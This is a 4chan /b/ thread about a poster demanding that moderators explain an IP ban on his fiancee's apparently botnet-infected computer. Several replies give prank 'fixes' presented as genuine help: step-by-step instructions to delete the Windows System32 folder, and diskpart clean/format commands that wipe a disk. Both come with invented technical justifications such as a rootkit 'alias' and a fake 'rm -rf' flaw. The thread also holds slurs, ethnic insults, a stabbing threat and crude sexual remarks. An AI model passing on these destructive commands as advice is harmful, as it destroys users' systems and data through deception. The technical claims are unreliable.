What the fuck happened? My fiancee just sent me this. She doesn't

>>741465702
I will report my own thread so that janitors come and explain this thoroughly.

thats what they do to normie faggots

The newfags here are really getting out of hand

We were looking for nudes.
He tits are ugly.

thats what they do to normie faggots

>>741465839
Nobody here is normie, you fucking infected shit.>>741465862
>6
fuckya>>741465864
fuckya

Where are the janitors?!

Bump! I'm here and I actually have no idea what the hell happened... /b/ please, explain us.

Post a pic of your wifes tits

>>741465984
I'm waiting for the jans. They will be here any moment.....................................................................................................................................................................................................................................................................................................................

>>741465949
>>741465702
Fucking imbeciles, why do you even give a shit, when it has already expired? Read the fucking ban and stop using public computers.

>wife
>implying

>I will be reporting my own thread until I get an answer.
Enjoy your new ban

thats what they do to normie faggots.

Post some Elsa

>>741466077
But what the hell happened, you fucking retard? She wasn't even at home when the ban happened. She was with me. This is a major 4chan fuck up, you cretin.
>>741466101
Stop being Reddit, please!

>>741466101
this pls god on earth in heaven if there is one ban this crying faggot forever from these boards

>>741466152
I will post elsa after the jans explain what the hell happened.

Her computer is infected. She's likely part of a bot-net. Botnet IP listings come under the VPN/Proxy listings. Failing that, your ISP is routing traffic without telling you.

The alternative is someone else has been using her computer.

Its not rocket-science, you cuck.

>>741466157
>cretin
>Stop being Reddit

i hope you get banned again

>>741466157
I'm pretty sure announcing you reported someone isn't a banable offense on Reddit.
But it is on 4chan.

>>741466157
Look, stop sperging the fuck out about a ban that is not here anymore. Besides, she probably fucked up and she is a proud member of a botnet now.

>>741466276
So, if she's infected, you "cuck", does that mean her IP deserved a ban? Can't you tell between proxy usage and involuntary infections? You fucked up badly. How do we solve this, mister intellectual?

>>741466276
This

>>741466464
OHHH this is bait...i fell for this shit

>Imbeciles
>Cretin

Your fiance did not just send you that, look at the tabs.

I don't think you have a wife. Enjoy your ban for evasion.

>>741466464
Why do you judge people who actually try to help your lazy ass, when you can't even do your own research.

>>741466404
>>741466473
I'm not letting this one go. 4chan fucked up badly. I'm not letting them go. Them aren't them rules. If 4chan doesn't explain things thoroughly, the two of us might grant 4chan's wish and stop using the website.

>>741466464
Your whore fiance dserevers to get banned,and so do you you cuck

We both like Elsa Jean. I'm not bi, I was just looking for some black dick. Lol

>>741466610
>If 4chan doesn't explain things thoroughly, the two of us might grant 4chan's wish and stop using the website.
ohh,promise?

Yeeted

>>741466464
No. There's lists on the internet for IPs that are regularly used for spamming etc., so zombies (computers in a botnet) get affected by this, too.
The best would be to just format the whole computer, as you can't really know where the infection is or where it came from without extensive forensics work.
No saving data, as there is no way of telling which files can re-infect the new operating system.

>>741466610
turning into low quality bait..

>>741466610
>If 4chan doesn't explain things thoroughly, the two of us might grant 4chan's wish and stop using the website
I can't fucking wait
Besides
>Trying to contact 4chan staff by creating a thread
>as fucking if

>>741466464
You're calling me an intellectual, Euphoria-kin?

I'm not telling you how to fix your fucking computer its 2017 get off your fat single ass and fix it yourself.

>>741466723
Also, seeing that you're from Romania, there's a high chance that huge parts of your countries' IP ranges are banned already.

>>741466867
>You're calling me an intellectual, Euphoria-kin?

wtf is happening to 4chan

>>741466723
Yeah, its almost like you've never heard of a sleepernet or pattern heuristic b&s.

>>741466564
>>741466631
I'm not letting this one go. If she was a botnet member, although there's no evidence 4chan didn't just issue a free ban for the lulz, then why the ban? Why ban botnet involuntary members? Where is the logic in that, anon?
>>741466723
Alright, can you please hint what the botnet was used for? I mean, you know, don't you? You were hurt by it. What kind of spam was the computer used for? You must have something. You can't just ban somebody then politely excuse yourself just because everyone makes mistakes, sir.
>>741466921
It's pretty shitty to yell country names on b, and besides, my country isn't fucking banned since we are a member of the EU and so on and so forth. So, no, quit your bullshit!

>>741466943
Nobody gives a fuck about your faith.
gb2/2007 tryhard faggot

>>741465702
Fiancées tits or gtfo faggot!!

>>741466921
Thanks for that, man! I'm the confused fiancee with the infected computer. I don't know exactly what I should do, because I don't understand what's the source of the computer's infection...

>>741465702
Gods divine intervention (you wouldn't understand)
Fluoride in drinking water
Fluoride in Teflon coating
Lead contamination in soil
Lead paint
Estrogen in drinking water
Radionuclide contamination in high phosphorus fertilizer
Slag exposure
Food shortage
Over population
Eugenics
Civil unrest
Boredom
Pathogens
World peace?
Aliens
Aliens
Dark wizards
Psychics
Class warfare
Class warfare
Supervolcanoes
Accidental injury
Depression
Criminal behaviour
Fluoride in toothpaste
Under exercise
Tooth decay
Poor oral hygiene
Coconuts
Ragweed
Fire ants
Killer bees
Climate change
Stagnation
Illegal dumping
Orbital drift
Greed
Xenophobia
Corruption?
Gender warfare
Black widow/brown recluse
Gamma radiation
Seismic anomaly
Political warfare
Degradation
Devaluation of human life
Drug abuse

I feel this is bait but..

You wouldn't know unless you're smart that you're being used as a bot or your ip is changing to much is another reason they might ban you

>>741467128
>Not letting this go
>Lulz in 2017
>Logic
>Sir
>M-Muh EU
>W-We're a real country, honest
>Confused by blanket bans when you're from a nation of literal shitposters and spambots

Jesus fucking christ get off our website.

>>741467128
>Botnet involuntary
And how are they supposed to know that, wise guy?

>>741467336
/thread

>>741467264
Why would they ban people for involuntarily being a part of a botnet?
>>741467347
Exactly! Why ban somebody for being part of a botnet?

OP, I can't tell if you're bait or just retarded. I mean its retarded either way just for different reasons.

I mean thats basically why people are replying. So we can all laugh at you.

Please continue dancing for our pleasure.

>>741467336
Eu is shit and my country's shit, but for all it's worth, you can't have a corrput fucking janitor imbecile saying "eh, well, so we banned Romanians, who cares? romania isn't even white like scandinavia and whatnot".

>>741467450
That's not what you was banned for

It's just a guess try messing with your ip see if that works

>>741467450
bc its your fault you are part of the network by loading porn on a shady site

>>741467128
Will you just shut the fuck up already. Jesus fucking Christ you're just like a woman!!

>>741467565
I was a janitor in 2010-2012. I would have banned you on the spot for this thread. Whoever's lurking here is a much kinder or much busier janitor than I Was.

>>741467534
I will report this message of mine right now. The janitors must come here and explain to me why would they ban somebody who is involuntarily part of a botnet (maybe) for using proxies.

>>741467450
>Exactly! Why ban somebody for being part of a botnet?
You missed my point. What I meant to tell you, is "How do they fucking know you're in a botnet INVOLUNTARILY?"

>>741465702
Hope you get banned too, faggot

>>741467725
It says it in the code! Silly!

Protip OP: If you run files from porn sites or mysterious websites, your computer might do strange things you don't know about that upset people or get you blacklisted as a precautionary measure that even first year sysadmins know to do.

>>741467682
You were a janitor when your father was eating ass in exchange for goat cheese and I'm dying here of impatience. I wait for janitors to come...

shitty post

its bait fags
but yall wouldnt know

>>741467725
Short answer is you don't, which is why they work.

There is something you can do though. You need to start by acquiring ownership of your machine.

>Click "Start," type "cmd" and press the "Ctrl," "Shift" and "Enter" keys together to load the Command Prompt console with administrative privileges.

>Type "takeown /f C:\Windows\System32" and press "Enter" to take ownership of the System32 folder.

>Type "Icacls C:\Windows\System32 " and press "Enter" to give yourself rights to modify the "System32" folder.

>Close the Command Prompt console by typing "Exit" and then pressing "Enter."

>Delete Folder

>Close all applications that are running on your computer.

>Double-click the "Computer" icon on the Windows desktop to open "Windows Explorer."

>Double-click the icon labeled "Local Disk C:" and then enter the folder labeled "Windows."

>Select the folder labeled "System32" by clicking on it.

>Press the "Shift" and "Del" keys together and click "Yes" on the "Delete Folder" confirmation dialog box to delete the "System32" folder. Click "Yes to All" on any "File Delete" dialog boxes that you encounter during the file deletion process.

Rebooting your computer, you should find that everything is as you left it but any possible botnets (along with some cursory Windows plugins that are really easy to replace anyway) will be gone.

I know it sounds shady, but you're not actually deleting System32, you're deleting its alias and the alias can be over-written to store malicious data that is hooked into when Windows starts. Its a very very nasty exploit called a rootkit.

>>741468151
I mean, the mods had to be involved to issue the ban right. So, and entire community, from clever users to janitors and then even moderators messed up. I'm not leaving here without an answer.

>>741468151
i'm not the sperglord OP tho

>>741468151
Nice try! Anyway, I'm too lazy to read those steps.

>>741468151
I was an engineering professor and I had to work with Windows machines at my university. I was also skeptical that this would've worked back then since it was in the important files and such.

This trick is awesome, OP. This is an IT's secret weapon.

>>741468298
you got plenty of answers already you just dont accept them

>>741468298
Literally just gave you one:
>>741468151

When you've finished this, open the command prompt and type "ipconfig /renew" AFTER performing these steps. Your ISP will take you out of the sandbox for potential botnets with luck and put you back on the public address-space (standard procedure). You might have to reboot your cable-model to do this (hold down the switch for 15 seconds rather than turn it off and on again) for it to work.

Thats all the tech support I'm giving you.

>>741468298
>I mean, the mods had to be involved to issue the ban right.

Not exactly. You ban based on IP ranges and subnets. Do you have any idea how long it would take to ban each individual? You apply a blanket ban and go about your day.

>>741468405
>I was also skeptical that this would've worked back then since it was in the important files and such.

Tru IT

>>741468151
>>741468405
I am OP indeed and I basically know what you are doing. You are trying to make people delete sys32 but you add some unnecessary steps to it so it sounds credible. I did that once when I beat somebody at chess, but I didn't want them to understand the strategy or beat them too fast, so I prolongued it unnecessarily.

>>741468405
Yeah, the alias wipe trick is a giant pain in the backside but it works beautifully. I still don't get why Windows stores aliases and directories in different ownership spaces. Its genuinely confusing and really unsafe. Stuff like this is why servers run linux so malware doesn't really have anywhere to hide.

>>741468599
Uh no, thats why we do the take ownership thing first. The Delete System 32 meme is based on the delete system 32 alias which is about how Windows handles its cacheing and address-space management. Its a clever shorthand but its really insecure. An old trick was to get people NOT to take ownership first and then delete the directory rather than the alias.

>>741468603
>>741468482
>>741468151
>>741468405
>>741468726

If you somehow take over my thread with your prank crap, I will open up another one and another one and so on, until the janitors come. And, despite you not breaking the rules with your antisocial crap, I will report you right now because I want the janitors to explain me why they banned her.

>>741468603
I'm sad that my university switched all the Windows computers out for Macs the year after I retired. Life is a bitch.

>>741468803
MODS!!!! ban this fucking twat WITHOUT answering his question

>>741468298
>I'm not leaving here without an answer.
Yea,you are leaving and you are never coming back.

>>741468803
Its not a trick, its alias management. Thats why I gave you the full instructions. Linux has the same thing where if in the terminal you go sudo rm -rf and you add an extra space between the -rf and the directory, it doesn't see the directory and proceeds to work with the whole directory structure, not the specific directory you listed. Its a flaw all operating systems have.

>>741468873
I dunno, the newer ones are kind of okay I guess for some stuff. Mac OS X is one of the better flavors of Linux but its a shame it runs on Macs exclusively because of that double floating point shit dependency.

>>741468803
If you don't believe us, Linux is an equivalent bug: http://www.urbandictionary.com/define.php?term=sudo%20rm%20-rf%20%2F

If you take ownership first, you'll be fine.

>>741469142
I liked to do composition in my spare time so I could own the composition professor. That guy was a stupid git.

They had this Finale software. Ran much smoother on my Mac at home.

>being upset about being banned for no reason
hahahahahahahahahahahahahaha

>>741469140
I can reset my IP and clear my cookies, dude. You should worry about yourself. I'm not leaving here without my answer. Please, try to understand, man!
>>741469142
>blah blah blah delete sys32 trust me I'm an astraut engineer comuter wizard
Fuck off!

>>741469299
hahaha what a faggot

>>741469299
>I can reset my IP and clear my cookies, dude.
You are leaving and that trick won't work. Worry about you getting stabbed in your fat face.

>>741469452
>Worry about you getting stabbed in your fat face.

well...yes

>>741469325
I reported you, but not for breaking the rules. I want the janitors here. I will even reset my IP so I can report you again. I will make another thread. My fiancee said she wont leave either.
>>741469452
Come on janitors, come on come on come on come on\2

>>741469299
You can also terminate Service Host: DCOM Server Project or rssrs.exe and force Windows to do a checksum of its system files and load backups from the legacy folder if any have been modified.

>>741469568
Get off this board now you fat,disgusting lowlife piece of shit. You are making a big deal out of nothing and you shouldn't be. Are you a slimy Jew faggot?

>>741469713
I'm not leaving here without the answer. They fucked up and your underage ass wouldn't understand. Now shut the fuck up and go do your summer workload or you will repeat the year again once more.

bummmp!

>>741469861
Calm the hell down man, go to a roll thread and have some fucking fun.

>>741469568
Who let the new out, holy shit.
>And what's with the "euphoric" atheist stereotype in the banner
Proof you're some underaged cuckwad.

>reported you
If the mods come in here and see what you're doing, odds are you're still the one getting banned for going full retard over a temporary ban that lasted for ~6 hours. And I'd like to see you waste more time not fucking your imaginary fiancee, but instead trying to reset your IP after a range of IPs have been banned.

>>741469568
Try putting this into CMD:
bootsect /nt60 ALL /force /mbr
bootrec /fixboot
bootrec /fixmbr
bootrec /rebuildbcd

Diskpart

Select Disk N

In the above command N should be the disk number of the disk you are going to fix.

Clean
Create Partition Primary
Assign
Exit

Now type the following command where X is the drive letter assigned to the new partition using the Assign command above:

Format X: /p:1 /v:CleanDisk /y

Reboot.

Janitors are motherfuckers. Idk what happened to 4chan, but it sucks from a while.

>>741465702
Did you take ownership yet? Its your computer, dude.

>>741469861
Hey faggot,you don't get an answer. I do understand little boy, you are a typical wining liberal who just likes to agitate other until you get punched in your round ugly face. Underage faggot detected. Go back to summer school and let the adults alone.

>>741470028
>If the mods come in here and see what you're doing, odds are you're still the one getting banned for going full retard over a temporary ban that lasted for ~6 hours.
Do you wanna bet? And I mean, bet your life. Of course you would, you are 15 and have no notion of time so you would bet your life and win the Darwin award.
>but instead trying to reset your IP after a range of IPs have been banned.
That was actually funny. We'll see what entire range has been banned, or if the mods really want to ban me.

>>741470236
Typical whining liberal detected

>>741470318
>>741470236
You're giving him too much credit. He is a liberal like Sanders is a liberal, which means some retarded socialist.

>>741470300
Spoilers: Every big site range-bans. Accidents do happen.

https://www.youtube.com/watch?v=OcV2RCvPKvM

>>741470389
Retarded socialist detected

>>741470412
I want the mods to say it. I want them here to admit to their fucking mistake, you fucking shit.

I am asking my fiancee right now what does she want in exchange. What do you want in exchange for forgiving them for banning you like you were their whore?

OP take ownership for fuck's sake we get like ten of you a week with this whiney Romanian bullshit christ

>>741470300
>bet your life
Now that's what I call edgy.
>have no notion of time so you would bet your life and win the Darwin award
Now that, is the most retarded logic I have ever seen today. Bet my life, which has no concept of time and thus could seem infinite, and lose? Lose? How does a lack of temporal awareness imply natural selection if there's no perceived death? How do you determine a loss if you have no sense of causality?

Having no notion of time doesn't make you stupid in of itself. Having no experience because you have the rationale of a small child does. And I'd be happy to spend zero perceived time waiting for you to cuck yourself over.

>>741470577
Dude, we get it, you're lonely and depressed and you want to pretend-blame this on someone who doesn't exist.

We're all *so* impressed that you have a "girlfriend" lmao

>>741470577
Oh shut up already you little whimpering faggot. I hope your fake fiancee leaves you very soon. You sound like a huge pussy.

>>741470577
Dude, you're Romanian, they probably view the fact you got banned as a bonus. Nobody wants you here. Go to websites in your own language.

shes been used as a sperm bank.

>>741470713
Whats all that gray shit is she dying?

>>741470713
nice nice nice,
story?

>>741470577
Man, I want them to come right here and apologize.
I don't speak English well and that's why my fiancee made this thread, he is here to talk to you, janitors.

>>741470713
Ahegao?

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I know this whole thread is bait but it was pretty well executed. Props to the OP. It scares me that people like this actually exist.

>>741470625
>Now that, is the most retarded logic I have ever seen today. Bet my life, which has no concept of time and thus could seem infinite, and lose? Lose? How does a lack of temporal awareness imply natural selection if there's no perceived death? How do you determine a loss if you have no sense of causality?
Stop your blogging, please! I thought you were 15, but you're 14!
>>741470681
>Dude, we get it, you're lonely and depressed and you want to pretend-blame this on someone who doesn't exist.
Still... I'm not leaving.
>We're all *so* impressed that you have a "girlfriend" lmao
Thank you! Now back to work, faggot!

>>741470926
>cishet mods banned me
>APOLOGIZE
Ha.

>>741470926
Staff here. You're not getting an apology. You're also not getting a ban. We literally don't care enough. This post made without any tripcodes is all the proof you're getting.

>>741471071
>Stop your blogging, please
This entire thread was a blog about how the mods hurt your fiancee's fee-fees.

covfefe

>>741471096
>"admitting" you're staff when staff has been trained so well, they wouldn't admit they're staff to save their lives
>has tripcodes but claims no tripcodes
Jesus, you must be very imbecile shit, apology for poor English.

>>741465702

It sounds like you were proxying on this Latvian Fishmongering site. How could you?

Complaining about Moderator actions is a bannable offense so soon you'll be taking a vacation from 4chins.

>>741471291
"Trained"? Four of us are actually lurking and laughing at you. Please, say more things in bad English about your non-existent girlfriend for our amusement.

Writting "4chins" is even a better reason to take a vacation from 4chan. Don't you think?!

she sure visits a lot of porn sites lol

>>741471413
Oh, man, when the janitors come, they will wreak havoc. They will come, you will fucking goddamn see.

>>741471545
If you really want active staff attention, go start a thread about "Seth Rich". Its one of our flagged words.

>>741471520
BUT she will definitely never visit your fucking cock.

>>741471584
Shut the fuck up! This is a very good thread, and I will win.

>>741471627
ok?? wtf knows what she looks like?? is that some new age insult? my imaginary gf won't ever touch you..

>>741471627
Yeah, you just hate giving handjobs to guys on the internet. God forbid your left hand cheats on you.

Seriously, go start a Seth Rich thread. If you're really brave, mention Awan which will bump you from orange to red on the notifier tree.

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OP, If your a troll, good job

Does ops uncle work at nintendo

>>741470890
Looks like alcohol poison. Could be fatal.

>>741471853
Hot. More?

jdIDW;OIdnbkugivabwbe

>>741465702
I get bans all the time on boards I've never visited

4chan mods are shit.

>>741472123
Is that a motherless link

>>741471853
i hope so

>>741472123
Same.

>>741465702
OK, I am OP. I talked to my fiancee. She wants a janitor to come here and tell her a few things:
1)What exactly did her computer do to break rules
2)What can she do to repair her computer
3)What can she do so this stuff doesn't happen again

She wants details, lots of details and explanations, she basically wants answers, so she can properly fix her computer. I mean, you want her to fix her computer in order for it to not act like a proxy or whatever the fuck did it do to you, right? Right?! Then come here and do the work, janitor faggots! If you don't, we ain't leaving. I'm serious. This was a fuck up and we ain't fucking leaving. I will save this page.

>>741472365
Shut up and neck yourself already you colossal faggot

>>741472365
>save the page

K.

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>>741472365
>she wants details
>we ain't leaving
>I will save this page

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Really your fiancee... she is into lesbian porn? Lmao

>>741472493
:)))))))))))))))))))))))))))))))
I'm waiting for the mods. We'll see who blinks first, but somebody will blink.
>>741472365
Also, I forgot 4)She wants an apology...

>>741472365
We're still laughing at you.

>>741472365
They are all laughing at you Carrie!!!!

>>741472662
The staff knows it can't loose credibility because they'd turn into Reddit, so now they're in a pickle. You have your 4 conditions.

>>741465702

OK, I am OP. I talked to my fiancee. She wants a janitor come here tell her a few things:
1) How exactly did she end up on 4chan when she clearly belongs on reddit
2) Why did her DDOS attack on /pol/ upset the moderators
3) Will promises of carnal acts she won't follow up on be enough to get her unbanned?

She wants dicks, lots of dicks and dicks, she basically wants dicks, so she can properly fuck her pussy. I mean, you want her to fuck her pussy in order for it not to act like a dick or whatever the fuck did it do to you, right? Right?! Then come here and do the whore, janitor faggots! If you don't, we ain't leaving. I'm serious. This was a fuck up and we ain't fucking leaving. I will save this dick.

>>741472832
>>741472872
>>741472895
1. We are laughing at you
2. We are still laughing at you
3. We will always laugh at you

>>741472872
The only credibility that's been loosened is your anus.